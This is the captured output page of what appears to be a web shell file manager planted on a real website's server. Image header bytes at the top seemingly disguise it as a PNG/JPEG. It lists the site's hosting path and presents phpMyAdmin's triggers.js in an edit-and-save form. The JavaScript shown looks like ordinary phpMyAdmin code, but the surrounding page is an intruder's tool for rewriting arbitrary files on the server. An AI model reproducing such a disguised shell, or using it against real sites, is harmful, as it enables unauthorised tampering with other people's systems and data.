�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2F'>dist</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2Fdatabase%2F'>database</a>/</p><hr><h3>✏️ Editing: triggers.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>AJAX.registerTeardown(&#039;database/triggers.js&#039;, function () {
  $(document).off(&#039;click&#039;, &#039;a.ajax.add_anchor, a.ajax.edit_anchor&#039;);
  $(document).off(&#039;click&#039;, &#039;a.ajax.export_anchor&#039;);
  $(document).off(&#039;click&#039;, &#039;#bulkActionExportButton&#039;);
  $(document).off(&#039;click&#039;, &#039;a.ajax.drop_anchor&#039;);
  $(document).off(&#039;click&#039;, &#039;#bulkActionDropButton&#039;);
});
const DatabaseTriggers = {
  /**
   * @var $ajaxDialog Query object containing the reference to the
   *                  dialog that contains the editor
   */
  $ajaxDialog: null,
  /**
   * @var syntaxHiglighter Reference to the codemirror editor
   */
  syntaxHiglighter: null,
  /**
   * Validate editor form fields.
   *
   * @return {bool}
   */
  validate: function () {
    /**
     * @var $elm a jQuery object containing the reference
     *           to an element that is being validated
     */
    var $elm = null;
    // Common validation. At the very least the name
    // and the definition must be provided for an item
    $elm = $(&#039;table.rte_table&#039;).last().find(&#039;input[name=item_name]&#039;);
    if ($elm.val() === &#039;&#039;) {
      $elm.trigger(&#039;focus&#039;);
      alert(Messages.strFormEmpty);
      return false;
    }
    $elm = $(&#039;table.rte_table&#039;).find(&#039;textarea[name=item_definition]&#039;);
    if ($elm.val() === &#039;&#039;) {
      if (this.syntaxHiglighter !== null) {
        this.syntaxHiglighter.focus();
      } else {
        $(&#039;textarea[name=item_definition]&#039;).last().trigger(&#039;focus&#039;);
      }
      alert(Messages.strFormEmpty);
      return false;
    }
    // The validation has so far passed, so now
    // we can validate item-specific fields.
    return this.validateCustom();
  },
  // end validate()
  /**
   * Validate custom editor form fields.
   * This function can be overridden by
   * other files in this folder
   *
   * @return {bool}
   */
  validateCustom: function () {
    return true;
  },
  // end validateCustom()

  exportDialog: function ($this) {
    var $msg = Functions.ajaxShowMessage();
    if ($this.attr(&#039;id&#039;) === &#039;bulkActionExportButton&#039;) {
      var combined = {
        success: true,
        title: Messages.strExport,
        message: &#039;&#039;,
        error: &#039;&#039;
      };
      // export anchors of all selected rows
      var exportAnchors = $(&#039;input.checkall:checked&#039;).parents(&#039;tr&#039;).find(&#039;.export_anchor&#039;);
      var count = exportAnchors.length;
      var returnCount = 0;
      var p = $.when();
      exportAnchors.each(function () {
        var h = $(this).attr(&#039;href&#039;);
        p = p.then(function () {
          return $.get(h, {
            &#039;ajax_request&#039;: true
          }, function (data) {
            returnCount++;
            if (data.success === true) {
              combined.message += &#039;\n&#039; + data.message + &#039;\n&#039;;
              if (returnCount === count) {
                showExport(combined);
              }
            } else {
              // complain even if one export is failing
              combined.success = false;
              combined.error += &#039;\n&#039; + data.error + &#039;\n&#039;;
              if (returnCount === count) {
                showExport(combined);
              }
            }
          });
        });
      });
    } else {
      $.get($this.attr(&#039;href&#039;), {
        &#039;ajax_request&#039;: true
      }, showExport);
    }
    Functions.ajaxRemoveMessage($msg);
    function showExport(data) {
      if (data.success === true) {
        Functions.ajaxRemoveMessage($msg);
        /**
         * @var buttonOptions Object containing options
         *                     for jQueryUI dialog buttons
         */
        var buttonOptions = {
          [Messages.strClose]: {
            text: Messages.strClose,
            class: &#039;btn btn-primary&#039;
          }
        };
        buttonOptions[Messages.strClose].click = function () {
          $(this).dialog(&#039;close&#039;).remove();
        };
        /**
         * Display the dialog to the user
         */
        data.message = &#039;&lt;textarea cols=&quot;40&quot; rows=&quot;15&quot; class=&quot;w-100&quot;&gt;&#039; + data.message + &#039;&lt;/textarea&gt;&#039;;
        var $ajaxDialog = $(&#039;&lt;div&gt;&#039; + data.message + &#039;&lt;/div&gt;&#039;).dialog({
          classes: {
            &#039;ui-dialog-titlebar-close&#039;: &#039;btn-close&#039;
          },
          width: 500,
          buttons: buttonOptions,
          title: data.title
        });
        // Attach syntax highlighted editor to export dialog
        /**
         * @var $elm jQuery object containing the reference
         *           to the Export textarea.
         */
        var $elm = $ajaxDialog.find(&#039;textarea&#039;);
        Functions.getSqlEditor($elm);
      } else {
        Functions.ajaxShowMessage(data.error, false);
      }
    } // end showExport()
  },
  // end exportDialog()
  editorDialog: function (isNew, $this) {
    var that = this;
    /**
     * @var $edit_row jQuery object containing the reference to
     *                the row of the the item being edited
     *                from the list of items
     */
    var $editRow = null;
    if ($this.hasClass(&#039;edit_anchor&#039;)) {
      // Remember the row of the item being edited for later,
      // so that if the edit is successful, we can replace the
      // row with info about the modified item.
      $editRow = $this.parents(&#039;tr&#039;);
    }
    /**
     * @var $msg jQuery object containing the reference to
     *           the AJAX message shown to the user
     */
    var $msg = Functions.ajaxShowMessage();
    $.get($this.attr(&#039;href&#039;), {
      &#039;ajax_request&#039;: true
    }, function (data) {
      if (data.success === true) {
        var buttonOptions = {
          [Messages.strGo]: {
            text: Messages.strGo,
            class: &#039;btn btn-primary&#039;
          },
          [Messages.strClose]: {
            text: Messages.strClose,
            class: &#039;btn btn-secondary&#039;
          }
        };
        // We have successfully fetched the editor form
        Functions.ajaxRemoveMessage($msg);
        // Now define the function that is called when
        // the user presses the &quot;Go&quot; button
        buttonOptions[Messages.strGo].click = function () {
          // Move the data from the codemirror editor back to the
          // textarea, where it can be used in the form submission.
          if (typeof CodeMirror !== &#039;undefined&#039;) {
            that.syntaxHiglighter.save();
          }
          // Validate editor and submit request, if passed.
          if (that.validate()) {
            /**
             * @var data Form data to be sent in the AJAX request
             */
            var data = $(&#039;form.rte_form&#039;).last().serialize();
            $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest);
            var url = $(&#039;form.rte_form&#039;).last().attr(&#039;action&#039;);
            $.post(url, data, function (data) {
              if (data.success === true) {
                // Item created successfully
                Functions.ajaxRemoveMessage($msg);
                Functions.slidingMessage(data.message);
                that.$ajaxDialog.dialog(&#039;close&#039;);
                // If we are in &#039;edit&#039; mode, we must
                // remove the reference to the old row.
                if (mode === &#039;edit&#039; &amp;&amp; $editRow !== null) {
                  $editRow.remove();
                }
                // Sometimes, like when moving a trigger from
                // a table to another one, the new row should
                // not be inserted into the list. In this case
                // &quot;data.insert&quot; will be set to false.
                if (data.insert) {
                  // Insert the new row at the correct
                  // location in the list of items
                  /**
                   * @var text Contains the name of an item from
                   *           the list that is used in comparisons
                   *           to find the correct location where
                   *           to insert a new row.
                   */
                  var text = &#039;&#039;;
                  /**
                   * @var inserted Whether a new item has been
                   *               inserted in the list or not
                   */
                  var inserted = false;
                  $(&#039;table.data&#039;).find(&#039;tr&#039;).each(function () {
                    text = $(this).children(&#039;td&#039;).eq(0).find(&#039;strong&#039;).text().toUpperCase().trim();
                    if (text !== &#039;&#039; &amp;&amp; text &gt; data.name) {
                      $(this).before(data.new_row);
                      inserted = true;
                      return false;
                    }
                  });
                  if (!inserted) {
                    // If we didn&#039;t manage to insert the row yet,
                    // it must belong at the end of the list,
                    // so we insert it there.
                    $(&#039;table.data&#039;).append(data.new_row);
                  }
                  // Fade-in the new row
                  $(&#039;tr.ajaxInsert&#039;).show(&#039;slow&#039;).removeClass(&#039;ajaxInsert&#039;);
                } else if ($(&#039;table.data&#039;).find(&#039;tr&#039;).has(&#039;td&#039;).length === 0) {
                  // If we are not supposed to insert the new row,
                  // we will now check if the table is empty and
                  // needs to be hidden. This will be the case if
                  // we were editing the only item in the list,
                  // which we removed and will not be inserting
                  // something else in its place.
                  $(&#039;table.data&#039;).hide(&#039;slow&#039;, function () {
                    $(&#039;#nothing2display&#039;).show(&#039;slow&#039;);
                  });
                }
                // Now we have inserted the row at the correct
                // position, but surely at least some row classes
                // are wrong now. So we will iterate through
                // all rows and assign correct classes to them
                /**
                 * @var ct Count of processed rows
                 */
                var ct = 0;
                /**
                 * @var rowclass Class to be attached to the row
                 *               that is being processed
                 */
                var rowclass = &#039;&#039;;
                $(&#039;table.data&#039;).find(&#039;tr&#039;).has(&#039;td&#039;).each(function () {
                  rowclass = ct % 2 === 0 ? &#039;odd&#039; : &#039;even&#039;;
                  $(this).removeClass().addClass(rowclass);
                  ct++;
                });
                // If this is the first item being added, remove
                // the &quot;No items&quot; message and show the list.
                if ($(&#039;table.data&#039;).find(&#039;tr&#039;).has(&#039;td&#039;).length &gt; 0 &amp;&amp; $(&#039;#nothing2display&#039;).is(&#039;:visible&#039;)) {
                  $(&#039;#nothing2display&#039;).hide(&#039;slow&#039;, function () {
                    $(&#039;table.data&#039;).show(&#039;slow&#039;);
                  });
                }
                Navigation.reload();
              } else {
                Functions.ajaxShowMessage(data.error, false);
              }
            }); // end $.post()
          } // end &quot;if (that.validate())&quot;
        }; // end of function that handles the submission of the Editor
        buttonOptions[Messages.strClose].click = function () {
          $(this).dialog(&#039;close&#039;);
        };
        /**
         * Display the dialog to the user
         */
        that.$ajaxDialog = $(&#039;&lt;div id=&quot;rteDialog&quot;&gt;&#039; + data.message + &#039;&lt;/div&gt;&#039;).dialog({
          classes: {
            &#039;ui-dialog-titlebar-close&#039;: &#039;btn-close&#039;
          },
          width: &#039;70%&#039;,
          minWidth: 500,
          buttons: buttonOptions,
          // Issue #15810 - use button titles for modals (eg: new procedure)
          // Respect the order: title on href tag, href content, title sent in response
          title: $this.attr(&#039;title&#039;) || $this.text() || $(data.title).text(),
          modal: true,
          open: function () {
            $(&#039;#rteDialog&#039;).dialog(&#039;option&#039;, &#039;max-height&#039;, $(window).height());
            if ($(&#039;#rteDialog&#039;).parents(&#039;.ui-dialog&#039;).height() &gt; $(window).height()) {
              $(&#039;#rteDialog&#039;).dialog(&#039;option&#039;, &#039;height&#039;, $(window).height());
            }
            $(this).find(&#039;input[name=item_name]&#039;).trigger(&#039;focus&#039;);
            $(this).find(&#039;input.datefield&#039;).each(function () {
              Functions.addDatepicker($(this).css(&#039;width&#039;, &#039;95%&#039;), &#039;date&#039;);
            });
            $(this).find(&#039;input.datetimefield&#039;).each(function () {
              Functions.addDatepicker($(this).css(&#039;width&#039;, &#039;95%&#039;), &#039;datetime&#039;);
            });
            $.datepicker.initialized = false;
          },
          close: function () {
            $(this).remove();
          }
        });
        /**
         * @var mode Used to remember whether the editor is in
         *           &quot;Edit&quot; or &quot;Add&quot; mode
         */
        var mode = &#039;add&#039;;
        if ($(&#039;input[name=editor_process_edit]&#039;).length &gt; 0) {
          mode = &#039;edit&#039;;
        }
        // Attach syntax highlighted editor to the definition
        /**
         * @var elm jQuery object containing the reference to
         *                 the Definition textarea.
         */
        var $elm = $(&#039;textarea[name=item_definition]&#039;).last();
        var linterOptions = {
          editorType: &#039;trigger&#039;
        };
        that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, &#039;both&#039;, linterOptions);
      } else {
        Functions.ajaxShowMessage(data.error, false);
      }
    }); // end $.get()
  },
  dropDialog: function ($this) {
    /**
     * @var $curr_row Object containing reference to the current row
     */
    var $currRow = $this.parents(&#039;tr&#039;);
    /**
     * @var question String containing the question to be asked for confirmation
     */
    var question = $(&#039;&lt;div&gt;&lt;/div&gt;&#039;).text($currRow.children(&#039;td&#039;).children(&#039;.drop_sql&#039;).html());
    // We ask for confirmation first here, before submitting the ajax request
    $this.confirm(question, $this.attr(&#039;href&#039;), function (url) {
      /**
       * @var msg jQuery object containing the reference to
       *          the AJAX message shown to the user
       */
      var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest);
      var params = Functions.getJsConfirmCommonParam(this, $this.getPostData());
      $.post(url, params, function (data) {
        if (data.success === true) {
          /**
           * @var $table Object containing reference
           *             to the main list of elements
           */
          var $table = $currRow.parent();
          // Check how many rows will be left after we remove
          // the one that the user has requested us to remove
          if ($table.find(&#039;tr&#039;).length === 3) {
            // If there are two rows left, it means that they are
            // the header of the table and the rows that we are
            // about to remove, so after the removal there will be
            // nothing to show in the table, so we hide it.
            $table.hide(&#039;slow&#039;, function () {
              $(this).find(&#039;tr.even, tr.odd&#039;).remove();
              $(&#039;.withSelected&#039;).remove();
              $(&#039;#nothing2display&#039;).show(&#039;slow&#039;);
            });
          } else {
            $currRow.hide(&#039;slow&#039;, function () {
              $(this).remove();
              // Now we have removed the row from the list, but maybe
              // some row classes are wrong now. So we will iterate
              // through all rows and assign correct classes to them.
              /**
               * @var ct Count of processed rows
               */
              var ct = 0;
              /**
               * @var rowclass Class to be attached to the row
               *               that is being processed
               */
              var rowclass = &#039;&#039;;
              $table.find(&#039;tr&#039;).has(&#039;td&#039;).each(function () {
                rowclass = ct % 2 === 1 ? &#039;odd&#039; : &#039;even&#039;;
                $(this).removeClass().addClass(rowclass);
                ct++;
              });
            });
          }
          // Get rid of the &quot;Loading&quot; message
          Functions.ajaxRemoveMessage($msg);
          // Show the query that we just executed
          Functions.slidingMessage(data.sql_query);
          Navigation.reload();
        } else {
          Functions.ajaxShowMessage(data.error, false);
        }
      }); // end $.post()
    });
  },
  dropMultipleDialog: function ($this) {
    // We ask for confirmation here
    $this.confirm(Messages.strDropRTEitems, &#039;&#039;, function () {
      /**
       * @var msg jQuery object containing the reference to
       *          the AJAX message shown to the user
       */
      var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest);

      // drop anchors of all selected rows
      var dropAnchors = $(&#039;input.checkall:checked&#039;).parents(&#039;tr&#039;).find(&#039;.drop_anchor&#039;);
      var success = true;
      var count = dropAnchors.length;
      var returnCount = 0;
      dropAnchors.each(function () {
        var $anchor = $(this);
        /**
         * @var $curr_row Object containing reference to the current row
         */
        var $currRow = $anchor.parents(&#039;tr&#039;);
        var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData());
        $.post($anchor.attr(&#039;href&#039;), params, function (data) {
          returnCount++;
          if (data.success === true) {
            /**
             * @var $table Object containing reference
             *             to the main list of elements
             */
            var $table = $currRow.parent();
            // Check how many rows will be left after we remove
            // the one that the user has requested us to remove
            if ($table.find(&#039;tr&#039;).length === 3) {
              // If there are two rows left, it means that they are
              // the header of the table and the rows that we are
              // about to remove, so after the removal there will be
              // nothing to show in the table, so we hide it.
              $table.hide(&#039;slow&#039;, function () {
                $(this).find(&#039;tr.even, tr.odd&#039;).remove();
                $(&#039;.withSelected&#039;).remove();
                $(&#039;#nothing2display&#039;).show(&#039;slow&#039;);
              });
            } else {
              $currRow.hide(&#039;fast&#039;, function () {
                // we will iterate
                // through all rows and assign correct classes to them.
                /**
                 * @var ct Count of processed rows
                 */
                var ct = 0;
                /**
                 * @var rowclass Class to be attached to the row
                 *               that is being processed
                 */
                var rowclass = &#039;&#039;;
                $table.find(&#039;tr&#039;).has(&#039;td&#039;).each(function () {
                  rowclass = ct % 2 === 1 ? &#039;odd&#039; : &#039;even&#039;;
                  $(this).removeClass().addClass(rowclass);
                  ct++;
                });
              });
              $currRow.remove();
            }
            if (returnCount === count) {
              if (success) {
                // Get rid of the &quot;Loading&quot; message
                Functions.ajaxRemoveMessage($msg);
                $(&#039;#rteListForm_checkall&#039;).prop({
                  checked: false,
                  indeterminate: false
                });
              }
              Navigation.reload();
            }
          } else {
            Functions.ajaxShowMessage(data.error, false);
            success = false;
            if (returnCount === count) {
              Navigation.reload();
            }
          }
        }); // end $.post()
      }); // end drop_anchors.each()
    });
  }
};
AJAX.registerOnload(&#039;database/triggers.js&#039;, function () {
  /**
   * Attach Ajax event handlers for the Add/Edit functionality.
   */
  $(document).on(&#039;click&#039;, &#039;a.ajax.add_anchor, a.ajax.edit_anchor&#039;, function (event) {
    event.preventDefault();
    if ($(this).hasClass(&#039;add_anchor&#039;)) {
      $.datepicker.initialized = false;
    }
    DatabaseTriggers.editorDialog($(this).hasClass(&#039;add_anchor&#039;), $(this));
  });

  /**
   * Attach Ajax event handlers for Export
   */
  $(document).on(&#039;click&#039;, &#039;a.ajax.export_anchor&#039;, function (event) {
    event.preventDefault();
    DatabaseTriggers.exportDialog($(this));
  });
  $(document).on(&#039;click&#039;, &#039;#bulkActionExportButton&#039;, function (event) {
    event.preventDefault();
    DatabaseTriggers.exportDialog($(this));
  });

  /**
   * Attach Ajax event handlers for Drop functionality
   */
  $(document).on(&#039;click&#039;, &#039;a.ajax.drop_anchor&#039;, function (event) {
    event.preventDefault();
    DatabaseTriggers.dropDialog($(this));
  });
  $(document).on(&#039;click&#039;, &#039;#bulkActionDropButton&#039;, function (event) {
    event.preventDefault();
    DatabaseTriggers.dropMultipleDialog($(this));
  });
});</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2Fdatabase'>🔙 Back</a></p>